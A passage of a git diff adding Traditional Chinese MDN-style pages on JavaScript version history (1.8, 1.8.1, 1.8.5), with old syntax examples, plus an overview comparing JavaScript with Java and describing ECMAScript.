+ <dd>現在 <a class="internal" href="../../../../en/Core_JavaScript_1.5_Reference/Global_Objects/String" rel="internal"><code>String</code></a> 物件擁有 <a class="internal" href="../../../../En/Core_JavaScript_1.5_Reference/Global_Objects/String/Trim" rel="internal"><code>trim()</code></a>, <code><a class="internal" href="../../../../En/Core_JavaScript_1.5_Reference/Global_Objects/String/TrimLeft" rel="internal">trimLeft()</a> 和</code> <a class="internal" href="../../../../En/Core_JavaScript_1.5_Reference/Global_Objects/String/TrimRight" rel="internal"><code>trimRight()</code></a> 函式。</dd>
+</dl>
+
+<h2 id="其他改良">其他改良</h2>
+
+<ul>
+ <li>Implicit setting of properties in object and array initializers no longer execute setters in JavaScript. This makes the behavior of setting the values of properties more predictable. See the blog post <a class="external" href="/web-tech/2009/04/29/object-and-array-initializers-should-not-invoke-setters-when-evaluated" title="https://developer.mozilla.org/editor/fckeditor/core/editor/web-tech/2009/04/29/object-and-array-initializers-should-not-invoke-setters-when-evaluated/">Object and array initializers should not invoke setters when evaluated</a> for details.</li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/New_in_JavaScript_1.8.1"} ) }}</p>
+</div>
+
+<p> </p>
diff --git a/files/zh-tw/web/javascript/new_in_javascript/1.8.5/index.html b/files/zh-tw/web/javascript/new_in_javascript/1.8.5/index.html
new file mode 100644
index 0000000000..3515191b8b
--- /dev/null
+++ b/files/zh-tw/web/javascript/new_in_javascript/1.8.5/index.html
@@ -0,0 +1,132 @@
+---
+title: New in JavaScript 1.8.5
+slug: Web/JavaScript/New_in_JavaScript/1.8.5
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>以下為 JavaScript 1.8.5 的更新日誌，此版本被涵蓋於 <a href="/zh-TW/Firefox/Releases/4">Firefox 4</a> 之中。</p>
+
+<h2 id="JavaScript_1.8.5_新功能">JavaScript 1.8.5 新功能</h2>
+
+<h3 id="新函數">新函數</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">函數</th>
+   <th scope="col">敘述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Object.create()")}}</td>
+   <td>
+    <p>基於一個特定的原型物件和屬性，建立一個新物件。{{bug("492840")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.defineProperty()")}}</td>
+   <td>Adds the named property described by a given descriptor to an object.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.defineProperties()")}}</td>
+   <td>Adds the named properties described by the given descriptors to an object.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.getOwnPropertyDescriptor()")}}</td>
+   <td>Returns a property descriptor for a named property on an object. {{bug("505587")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.keys()")}}</td>
+   <td>Returns an array of all enumerable properties on an object. {{bug("307791")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.getOwnPropertyNames()")}}</td>
+   <td>Returns an array of all enumerable and non-enumerable properties on an object. {{bug("518663")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.preventExtensions()")}}</td>
+   <td>Prevents any extensions of an object. {{bug("492849")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isExtensible()")}}</td>
+   <td>Determine if extending of an object is allowed. {{bug("492849")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.seal()")}}</td>
+   <td>
+    <p>避免其他程式碼刪除一個物件的屬性。 {{bug("492845")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isSealed()")}}</td>
+   <td>Determine if an object is sealed. {{bug("492845")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.freeze()")}}</td>
+   <td>凍結一個物件：其他程式碼無法刪除或更便任何屬性。{{bug("492844")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isFrozen()")}}</td>
+   <td>辨識一個物件是否遭凍結。{{bug("492844")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Array.isArray()")}}</td>
+   <td>檢查一個變數是否為陣列。{{bug("510537")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Date.prototype.toJSON()")}}</td>
+   <td>回傳一個 JSON 格式的字串 給<code>Date</code> 物件。</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Function.prototype.bind()")}}</td>
+   <td>
+    <p>Creates a new function that, when called, itself calls this function in the context provided (with a given sequence of arguments) {{bug("429507")}}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="New_ECMAScript5_features">New ECMAScript5 features</h3>
+
+<ul>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/get" title="JavaScript/Reference/Operators/Special Operators/get Operator">get</a></code> and <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/set" title="JavaScript/Reference/Operators/Special Operators/set Operator">set</a></code> operators now allows the identifier to be numeric or a string. {{bug("520696")}}</li>
+ <li>{{jsxref("Function.apply()")}} can accept any array-like object as the arguments list, instead of only true arrays.</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="JavaScript/Strict mode">strict mode support</a></li>
+ <li>{{jsxref("Array.toString()")}} now works even on non-arrays by either returning the result of calling its <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Array/join" title="JavaScript/Reference/Global Objects/Array/join"><code>join()</code></a> method if one is available or by calling its <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/toString" title="JavaScript/Reference/Global Objects/Object/toString"><code>toString()</code></a> method.</li>
+</ul>
+
+<h3 id="Other_standardization_work">Other standardization work</h3>
+
+<p>Various non-standard syntaxes for defining getters and setters have been removed; ECMAScript 5 defined syntax has not been changed. These were all pretty esoteric and rarely used; if this affects you, see <a class="external" href="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/" title="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">this blog post</a> for details.</p>
+
+<h3 id="新物件">新物件</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Object</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Proxy")}}</td>
+   <td>Offers support for creating <code>Object</code> and <code>Function</code> proxies that enable meta-programming in JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Changed_functionality_in_JavaScript_1.8.5">Changed functionality in JavaScript 1.8.5</h2>
+
+<ul>
+ <li>ISO 8601 support in <code>Date</code>: The {{jsxref("Date")}} object's <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Date/parse" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Date/parse">parse()</a> method now supports simple ISO 8601 format date strings.</li>
+ <li>Global objects made read only: The <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="JavaScript/Reference/Global Objects/NaN"><code>NaN</code></a>, <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="JavaScript/Reference/Global Objects/Infinity"><code>Infinity</code></a>, and <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/undefined" title="JavaScript/Reference/Global Objects/undefined"><code>undefined</code></a> global objects have been made read only, per the ECMAScript 5 specification.</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/Parent" title="JavaScript/Reference/Global Objects/Object/Parent"><code>obj.__parent__</code></a> and <code>obj.__count__</code> become obsolete. Some information about why: <a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/" title="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">SpiderMonkey change du jour: the special __parent__ property has been removed</a> {{bug("551529")}} &amp; {{bug("552560")}}.</li>
+ <li>Trailing commas no longer accepted in {{jsxref("JSON.parse()")}}.</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/new_in_javascript/1.8/index.html b/files/zh-tw/web/javascript/new_in_javascript/1.8/index.html
new file mode 100644
index 0000000000..63ab0e81b0
--- /dev/null
+++ b/files/zh-tw/web/javascript/new_in_javascript/1.8/index.html
@@ -0,0 +1,125 @@
+---
+title: JavaScript 1.8 新鮮事
+slug: Web/JavaScript/New_in_JavaScript/1.8
+tags:
+  - JavaScript
+  - JavaScript_version_overviews
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+<p>{{ Fx_minversion_header(3) }} JavaScript 1.8 是 Gecko 1.9（包含於 <a href="/zh_tw/Firefox_3_技術文件" title="zh tw/Firefox 3 技術文件">Firefox 3</a>）的一部分。相較於 <a href="/zh_tw/JavaScript_1.7_新鮮事" title="zh tw/JavaScript 1.7 新鮮事">JavaScript 1.7</a> 此版只是個小更新，不過部分更新是為了跟進 ECMAScript 4/JavaScript 2。此次的釋出版本包含所有在 <a href="/zh_tw/JavaScript_1.6_新鮮事" title="zh tw/JavaScript 1.6 新鮮事">JavaScript 1.6</a> 和 <a href="/zh_tw/JavaScript_1.7_新鮮事" title="zh tw/JavaScript 1.7 新鮮事">JavaScript 1.7</a> 出現的新機能。</p>
+
+<p>詳見 {{ Bug(380236) }} 以追蹤 JavaScript 1.8 的開發狀態。本文件的狀態可見 {{ Bug(421027) }}。</p>
+
+<h3 id="使用_JavaScript_1.8" name="使用_JavaScript_1.8">使用 JavaScript 1.8</h3>
+
+<p>為了在 HTML 中使用 JavaScript 1.8 的新機能，需要像下面那樣來使用︰</p>
+
+<pre class="brush: js"> &lt;script type="application/javascript;version=1.8"&gt; ... 你的代碼 ... &lt;/script&gt;
+</pre>
+
+<p>另一個方式（不推薦）是使用已廢棄的 <code>&lt;script&gt;</code> 語言屬性並把他定義為 "JavaScript1.8"。</p>
+
+<p>如果是使用 <a href="/zh_tw/SpiderMonkey/JavaScript_shell_入門" title="zh tw/SpiderMonkey/JavaScript shell 入門">JavaScript shell</a>，JavaScript XPCOM 元件，或 XUL <code>&lt;script&gt;</code> 元件，會自動（{{ Bug(381031) }}, {{ Bug(385159) }}）使用最新的 JS 版本（在 Mozilla 1.9 中是 JS1.8）。</p>
+
+<p>如果某一機能需要使用到新關鍵字 "yield" 和 "let"，你就要指定 1.7 以上的版本，因為現存的代碼可能會使用這些關鍵字作為變數或函數名。至於未使用到新關鍵字的機能（例如產生器表達式）可以直接使用，不需指定 JavaScript 版本。</p>
+
+<h3 id="表達式化簡" name="表達式化簡">表達式化簡</h3>
+
+<p>表達式化簡（Expression closures）提供類似 典型 <a class="external" href="http://en.wikipedia.org/wiki/Lambda_calculus#Lambda_calculus_and_programming_languages">Lambda 記法</a> 的語法，除了用於簡單函數的簡寫以外，並未帶來其他新機能。</p>
+
+<p><a href="/zh_tw/JavaScript_1.7_新鮮事" title="zh tw/JavaScript 1.7 新鮮事">JavaScript 1.7</a> 及早期版本︰</p>
+
+<pre class="brush: js"> function(x) { return x * x; }
+</pre>
+
+<p>JavaScript 1.8︰</p>
+
+<pre class="brush: js"> function(x) x * x
+</pre>
+
+<p>這個語法可讓你省略花括弧和 'return' 語法 - 使這些隱含化。以這種風格編寫的代碼除了簡短以外，並沒有其他額外的優點。</p>
+
+<p><strong>範例:</strong></p>
+
+<p>連結事件接收器的簡寫︰</p>
+
+<pre class="brush: js"> document.addEventListener("click", function() false, true);
+</pre>
+
+<p>在來自 <a href="/zh_tw/JavaScript_1.6_新鮮事" title="zh tw/JavaScript 1.6 新鮮事">JavaScript 1.6</a> 的 some 中使用這個記法︰</p>
+
+<pre class="brush: js"> elems.some(function(elem) elem.type == "text");
+</pre>
+
+<h3 id="產生器表達式" name="產生器表達式">產生器表達式</h3>
+
+<p>This addition allows you to simply create generators (which were introduced in <a href="/en/New_in_JavaScript_1.7" title="en/New_in_JavaScript_1.7">JavaScript 1.7</a>). Typically you would have to create a custom function which would have a yield in it, but this addition allows you to use array comprehension-like syntax to create an identical generator statement.</p>
+
+<p>In <a href="/en/New_in_JavaScript_1.7" title="en/New_in_JavaScript_1.7">JavaScript 1.7</a>, you might write something like the following in order to create a custom generator for an object:</p>
+
+<pre class="brush: js"> function add3(obj) {
+   for ( let i in obj )
+     yield i + 3;
+ }
+
+ let it = add3(someObj);
+ try {
+   while (true) {
+     document.write(it.next() + "&lt;br&gt;\n");
+   }
+ } catch (err if err instanceof StopIteration) {
+   document.write("End of record.&lt;br&gt;\n");
+ }
+</pre>
+
+<p>In JavaScript 1.8, you can circumvent having to create a custom generator function by using a generator expression instead:</p>
+
+<pre class="brush: js"> let it = (i + 3 for (i in someObj));
+ try {
+   while (true) {
+     document.write(it.next() + "&lt;br&gt;\n");
+   }
+ } catch (err if err instanceof StopIteration) {
+   document.write("End of record.&lt;br&gt;\n");
+ }
+</pre>
+
+<p>Generator expressions can also be passed in, as values, to a function. This is particularly noteworthy since generators aren't run until they are absolutely needed (unlike for typical array comprehension situations, where the arrays are constructed ahead of time). An example of the difference can be seen here:</p>
+
+<p>Using JavaScript 1.7 Array Comprehension</p>
+
+<pre class="brush: js"> handleResults([ i for ( i in obj ) if ( i &gt; 3 ) ]);
+
+ function handleResults( results ) {
+   for ( let i in results )
+     // ...
+ }
+</pre>
+
+<p>Using JavaScript 1.8 Generator Expressions</p>
+
+<pre class="brush: js"> handleResults( i for ( i in obj ) if ( i &gt; 3 ) );
+
+ function handleResults( results ) {
+   for ( let i in results )
+     // ...
+ }
+</pre>
+
+<p>The significant difference between the two examples being that by using the generator expressions, you would only have to loop over the 'obj' structure once, total, as opposed to once when comprehending the array, and again when iterating through it.</p>
+
+<h3 id="陣列更進一步的擴充" name="陣列更進一步的擴充">陣列更進一步的擴充</h3>
+
+<p>There are two new iterative <code><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/Array" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array">Array</a></code> methods included in JavaScript 1.8, specifically:</p>
+
+<ul>
+ <li><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/Array/Reduce" title="en/Core_JavaScript_1.5_Reference/Objects/Array/reduce">reduce()</a></code> - runs a function on every item in the array and collects the results from previous calls.</li>
+ <li><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/Array/ReduceRight" title="en/Core_JavaScript_1.5_Reference/Objects/Array/reduceRight">reduceRight()</a></code> - runs a function on every item in the array and collects the results from previous calls, but in reverse.</li>
+</ul>
+
+<h3 id="for..in_分割代入的變更" name="for..in_分割代入的變更">for..in 分割代入的變更</h3>
+
+<p>One change that occurred in the release of JavaScript 1.8 was a bug fix related to the key/value <a class="internal" href="/en/New_in_JavaScript_1.7" title="En/New in JavaScript 1.7">destructuring of arrays</a> introduced in JavaScript 1.7. Previously it was possible to destructure the keys/values of an array by using for ( var [key, value] in array ). However that made it impossible to destructure the values of an array - that were arrays. This has been resolved now. ({{ Bug(366941) }}).</p>
+
+<p>{{ languages( { "en": "en/New_in_JavaScript_1.8", "es": "es/Novedades_en_JavaScript_1.8", "fr": "fr/Nouveaut\u00e9s_dans_JavaScript_1.8", "ja": "ja/New_in_JavaScript_1.8", "pl": "pl/Nowo\u015bci_w_JavaScript_1.8", "pt": "pt/Novidades_no_Javascript_1.8", "ko": "ko/New_in_JavaScript_1.8" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/new_in_javascript/index.html b/files/zh-tw/web/javascript/new_in_javascript/index.html
new file mode 100644
index 0000000000..0dd24e1d1d
--- /dev/null
+++ b/files/zh-tw/web/javascript/new_in_javascript/index.html
@@ -0,0 +1,71 @@
+---
+title: JavaScript 新鮮事
+slug: Web/JavaScript/New_in_JavaScript
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Web/JavaScript/New_in_JavaScript
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>This chapter contains information about JavaScript's version history and implementation status for Mozilla/SpiderMonkey-based JavaScript applications, such as Firefox.</p>
+
+<h2 id="ECMAScript_versions">ECMAScript versions</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Language_Resources">Language resources</a></dt>
+ <dd>Learn more about the ECMAScript standards on which the JavaScript language is based on.</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5 support</a></dt>
+ <dd>Implementation status for the current standard ECMA-262 Edition 5.1 in Mozilla-based engines and products.</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 2015 support</a></dt>
+ <dd>Implementation status for the draft ECMA-262 Edition 6 (ES2015 or ES6) in Mozilla-based engines and products.</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next support</a></dt>
+ <dd>Implementation status for upcoming ECMA-262 features as per the yearly (ES2016/ES2017/ES2018/...) release schedule in Mozilla-based engines and products.</dd>
+</dl>
+
+<h2 id="JavaScript_release_notes">JavaScript release notes</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/Firefox_JavaScript_changelog">Firefox JavaScript changelog</a></dt>
+ <dd>See this changelog for JavaScript features implemented in Firefox 5 and later.</dd>
+</dl>
+
+<h2 id="JavaScript_versions">JavaScript versions</h2>
+
+<p><strong>Deprecated</strong> ({{deprecated_inline}}). The explicit versioning and opt-in of language features was Mozilla-specific and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867609">is in process of being removed</a>. Firefox 4 was the last version which referred to an JavaScript version (1.8.5). With new ECMA standards, JavaScript language features are now often mentioned with their initial definition in ECMA-262 Editions such as Edition 6 (ES2015/ES6).</p>
+
+<p>JavaScript was released as version 1.0 in March 1996 in Netscape Navigator 2.0 and Internet Explorer 2.0.</p>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/1.1">JavaScript 1.1</a></dt>
+ <dd>Version shipped in Netscape Navigator 3.0. Released on August 19, 1996.</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/1.2">JavaScript 1.2</a></dt>
+ <dd>Version shipped in Netscape Navigator 4.0-4.05. Released on June 11, 1997.</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/1.3">JavaScript 1.3</a></dt>
+ <dd>Version shipped in Netscape Navigator 4.06-4.7x. Released on October 19, 1998.<br>
+ Standardization work to be compliant with ECMA-262 1st and 2nd Edition.</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/1.4">JavaScript 1.4</a></dt>
+ <dd>Version shipped in Netscape's server side JavaScript. Released in 1999.</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/1.5">JavaScript 1.5</a></dt>
+ <dd>Version shipped in Netscape Navigator 6.0 and Firefox 1.0. Release on November 14, 2000.<br>
+ Standardization work to be compliant with ECMA-262 3rd Edition.</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/1.6">JavaScript 1.6</a></dt>
+ <dd>Version shipped in Firefox 1.5. Released in November 2005.<br>
+ Includes ECMAScript for XML (E4X), new <code>Array</code> methods plus <code>String</code> and <code>Array</code> generics.</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a></dt>
+ <dd>Version shipped in Firefox 2. Released in October 2006.<br>
+ Includes generators, iterators, array comprehensions, <code>let</code> expressions, and destructuring assignment.</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/1.8">JavaScript 1.8</a></dt>
+ <dd>Version shipped in Firefox 3. Released in June 2008.<br>
+ Includes expression closures, generator expressions and <code>Array.reduce()</code></dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/1.8.1">JavaScript 1.8.1</a></dt>
+ <dd>Version shipped in Firefox 3.5. Released on June 30, 2009.<br>
+ Includes the TraceMonkey JIT and supports native JSON.</dd>
+ <dt>JavaScript 1.8.2</dt>
+ <dd>Version shipped in Firefox 3.6. Released June 22, 2009.<br>
+ Includes only minor changes.</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript/1.8.5">JavaScript 1.8.5</a></dt>
+ <dd>Version shipped in Firefox 4. Released July 27, 2010.<br>
+ Includes many new features for ECMA-262 Edition 5 compliance.<br>
+ This is the last JavaScript version.</dd>
+</dl>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/javascript_概要/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/javascript_概要/index.html
new file mode 100644
index 0000000000..9c74f992c9
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/javascript_概要/index.html
@@ -0,0 +1,43 @@
+---
+title: JavaScript 概要
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/JavaScript_概要
+---
+<p> </p>
+<h3 id="什麼是_JavaScript？" name="什麼是_JavaScript？">什麼是 JavaScript？</h3>
+<p>JavaScript 是跨平台、物件導向的 Script 語言。JavaScript 是小巧、輕量的語言，以單獨的語言來看 JavaScript 並不是很有用，不過 JavaScript 被設計成易於嵌入至其他產品和應用程式（如 Web 瀏覽器）。在宿主環境裡，JavaScript 可連接至由環境提供的可操控的物件。</p>
+<p>核心 JavaScript 包含 <code>Array</code>、<code>Date</code>、<code>Math</code> 等等的物件核心組件，以及運算子、控制結構、語法等等的語言元素的核心組件。核心 JavaScript 可藉由追加額外的物件而為各種用途來做擴充，例如︰</p>
+<ul> <li><em>客戶端 JavaScript</em> 藉由追加的物件擴充核心語言，以操控瀏覽器（Navigator 或其他 Web 瀏覽器）及其 Document Object Model (DOM)。例如，客戶端的擴充可讓應用程式在 HTML 表單上放置一些元素，並回應滑鼠點擊、表單輸入、頁面瀏覽等的使用者事件。</li> <li><em>伺服端 JavaScript</em> 藉由追加與執行在伺服器上的 JavaScript 有關的物件來擴充核心語言。例如，伺服端的擴充可讓應用程式與相關的資料庫通訊、提供從應用程式的一端發出至另一端的資訊的連續性、在伺服器上進行檔案管理。</li>
+</ul>
+<p>藉由 JavaScript 的 LiveConnect 的機能，還可讓 Java 和 JavaScript 的代碼互相通訊。你可以從 JavaScript 生成 Java 物件，並存取他們的公開方法和欄位。也可以從 Java 存取 JavaScript 的物件、屬性、方法。</p>
+<p>Netscape 發明 JavaScript，且 JavaScript 是初次用於 Netscape 瀏覽器。</p>
+<h3 id="JavaScript_和_Java" name="JavaScript_和_Java">JavaScript 和 Java</h3>
+<p>JavaScript 和 Java 在某些方面類似，但在很多方面完全不同。JavaScript 語言很像 Java，但沒有 Java 的靜態類型和強固的類型檢查。JavaScript 支援 Java 的表達結構和基本的流程控制結構。</p>
+<p>相對於 Java 藉由宣告來建構類別的編譯時期系統，JavaScript 支援的執行時期系統，是建立在表示為數值、布林、字串值的少數幾個資料類型。JavaScript 使用以原型為基礎的物件模型，以代替更常見的以類別為基礎的物件模型。以原型為基礎的模型可提供動態繼承，也就是可對個別的物件變更繼承。JavaScript 亦支援無須特別宣告的函數。函數可以是物件的屬性，以寬鬆的類型執行方法。</p>
+<p>JavaScript 與 Java 相比，是一種在形式上要自由很多的語言。你不必宣告所有的變數、類別或方法。你不必關心方法是不是公開、私有或保護，你也不必實作界面。變數、參數和函數返回的類型都不是明確的類型。</p>
+<p>Java 是為了快速執行和類型的安全性而設計的一種以類別為基礎的程式語言。類型的安全性的意義，舉例來說，你不能把 Java 的整數類型強制轉換為物件類型，或有意的誤用 Java 的位元碼來存取私有記憶體。Java 的以類別為基礎的模型的意義是程式完全以類別及其方法所組成。Java 的類別階層和強固的類型通常需要緊密結合的物件階層。這些要求使 Java 的程式設計比 JavaScript 編寫要複雜的多。</p>
+<p>相較之下，JavaScript 繼承了像 HyperTalk、dBASE 那樣的小型動態類型語言的精髓。這些 Script 語言提供工具給更廣大的使用者，因為他們的語法簡單、特殊的內建函數、對物件的建立的要求較少。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>JavaScript</th> <th>Java</th> </tr> <tr> <td>物件導向。物件的類型之間沒有區別。繼承是透過原型機制達成，屬性和方法可動態的加入至任何物件。</td> <td>以類別為基礎。物件可細分為類別和實體，所有的繼承是透過類別階層達成。類別和實體不可動態的加入屬性或方法。</td> </tr> <tr> <td>不必宣告變數的資料類型（動態類型）。</td> <td>必須宣告變數的資料類型（靜態類型）。</td> </tr> <tr> <td>不可自動的寫入硬碟。</td> <td>不可自動的寫入硬碟。</td> </tr> </tbody>
+</table>
+<p><small><strong>表 1.1: JavaScript 和 Java 的比較</strong></small><br>
+<br>
+JavaScript 和 Java 之間的不同的更進一步資訊，參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8#%E7%89%A9%E4%BB%B6%E6%A8%A1%E5%9E%8B%E7%9A%84%E7%B4%B0%E7%AF%80" title="zh tw/Core JavaScript 1.5 教學#物件模型的細節">物件模型的細節</a> 章節。</p>
+<h3 id="JavaScript_和_ECMAScript_規範" name="JavaScript_和_ECMAScript_規範">JavaScript 和 ECMAScript 規範</h3>
+<p>Netscape 發明 JavaScript，且 JavaScript 最先使用於 Netscape 瀏覽器。然而，Netscape 與 <a class="external" href="http://www.ecma-international.org/">Ecma International</a> - 把資訊和通訊系統標準化的歐洲協會（以前稱為 ECMA - European Computer Manufacturers Association；歐洲電腦製造商協會）合作發表一份以核心 JavaScript 為基礎的國際程式語言的標準化。JavaScript 的標準化版本，稱為ECMAScript，使所有支援標準的應用程式都能有同樣的行為。企業可以使用這份開放的語言標準開發他們的 JavaScript 實作產品。ECMAScript 標準的文件在 ECMA-262 規範中。</p>
+<p>ECMA-262 標準也受到 <a class="external" href="http://www.iso.ch/">ISO</a>（International Organization for Standardization；國際標準化組織）認可成為 ISO-16262。你可以在 Mozilla 網站上找到 <a class="external" href="http://www.mozilla.org/js/language/E262-3.pdf">ECMA-262 的 PDF 版本</a>。你也可以在 <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">Ecma International 網站</a> 上找到這份標準。ECMAScript 標準並未提到 Document Object Model (DOM)，DOM 是由 <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a> 所標準化。DOM 定義了在 Script 中處理 HTML 文件裡的物件的方法。</p>
+<h4 id="JavaScript_版本和_ECMAScript_修定版之間的關係" name="JavaScript_版本和_ECMAScript_修定版之間的關係">JavaScript 版本和 ECMAScript 修定版之間的關係</h4>
+<p>Netscape 與 Ecma International 緊密合作產生 ECMAScript 規範 (ECMA-262)。下表說明了 JavaScript 版本和 ECMAScript 版本間的關係。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>JavaScript 的版本</th> <th>與 ECMAScript 修定版之間的關係</th> </tr> <tr> <td>JavaScript 1.1</td> <td>ECMA-262 第一版是以 JavaScript 1.1 為基礎。</td> </tr> <tr> <td>JavaScript 1.2</td> <td>在 JavaScript 1.2 釋出時，ECMA-262 尚未完成。JavaScript 1.2 因為以下原因而不完全相容於 ECMA-262 第一版︰ <ul> <li>Netscape 在 JavaScript 1.2 中開發了未考慮到 ECMA-262 的額外機能。</li> <li>ECMA-262 加入兩個新的機能︰使用 Unicode 來國際化，統一所有平台的行為。JavaScript 1.2 的若干機能，如 Date 物件，依賴於平台，且使用平台規範的行為。</li> </ul> </td> </tr> <tr> <td> <p>JavaScript 1.3</p> </td> <td> <p>JavaScript 1.3 完全相容於 ECMA-262 第一版。</p> <p>JavaScript 1.3 解決了 JavaScript 1.2 和 ECMA-262 的不一致，除了 == 和 != 以外，保留 JavaScript 1.2 所有的額外機能，以符合 ECMA-262。</p> </td> </tr> <tr> <td> <p>JavaScript 1.4</p> </td> <td> <p>JavaScript 1.4 完全相容於 ECMA-262 第一版。</p> <p>在 JavaScript 1.4 釋出時，ECMAScript 規範的第三版仍尚未完成。</p> </td> </tr> <tr> <td>JavaScript 1.5</td> <td>JavaScript 1.5 完全相容於 ECMA-262 第三版。</td> </tr> </tbody>
+</table>
+<p><small><strong>表 1.2: JavaScript 版本和 ECMAScript 版本</strong></small></p>
+<div class="note"><strong>附註</strong>: ECMA-262 第二版由次要的編修和對第一版規範的錯誤修正所組成。Ecma International 的 TC39 工作群組目前正工作於 ECMAScript 第四版，第四版將會對應下一個  JavaScript 的釋出版 JavaScript 2.0。</div>
+<p><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83" title="zh tw/Core JavaScript 1.5 參考">Core JavaScript 參考</a> 指出哪些語言機能對應於 ECMAScript。</p>
+<p>JavaScript 將會不斷包含尚未成為 ECMAScript 規範的新機能；JavaScript 在提供額外機能時仍會相容於 ECMAScript。</p><h4 id="JavaScript_文件與_ECMAScript_規範" name="JavaScript_文件與_ECMAScript_規範">JavaScript 文件與 ECMAScript 規範</h4>
+<p>ECMAScript 規範是實作 ECMAScript 的必要條件的匯整；如果你想知道 JavaScript 機能 ECMAScript 規範是否支援，規範就會很有用。如果你有意只使用 ECMAScript 支援的機能來編寫 JavaScript 代碼，你會需要檢閱 ECMAScript 規範。</p>
+<p>ECMAScript 文件不是為了幫助 Script 程式員；應該使用 JavaScript 文件取得有關編寫 Script 的資訊。</p>
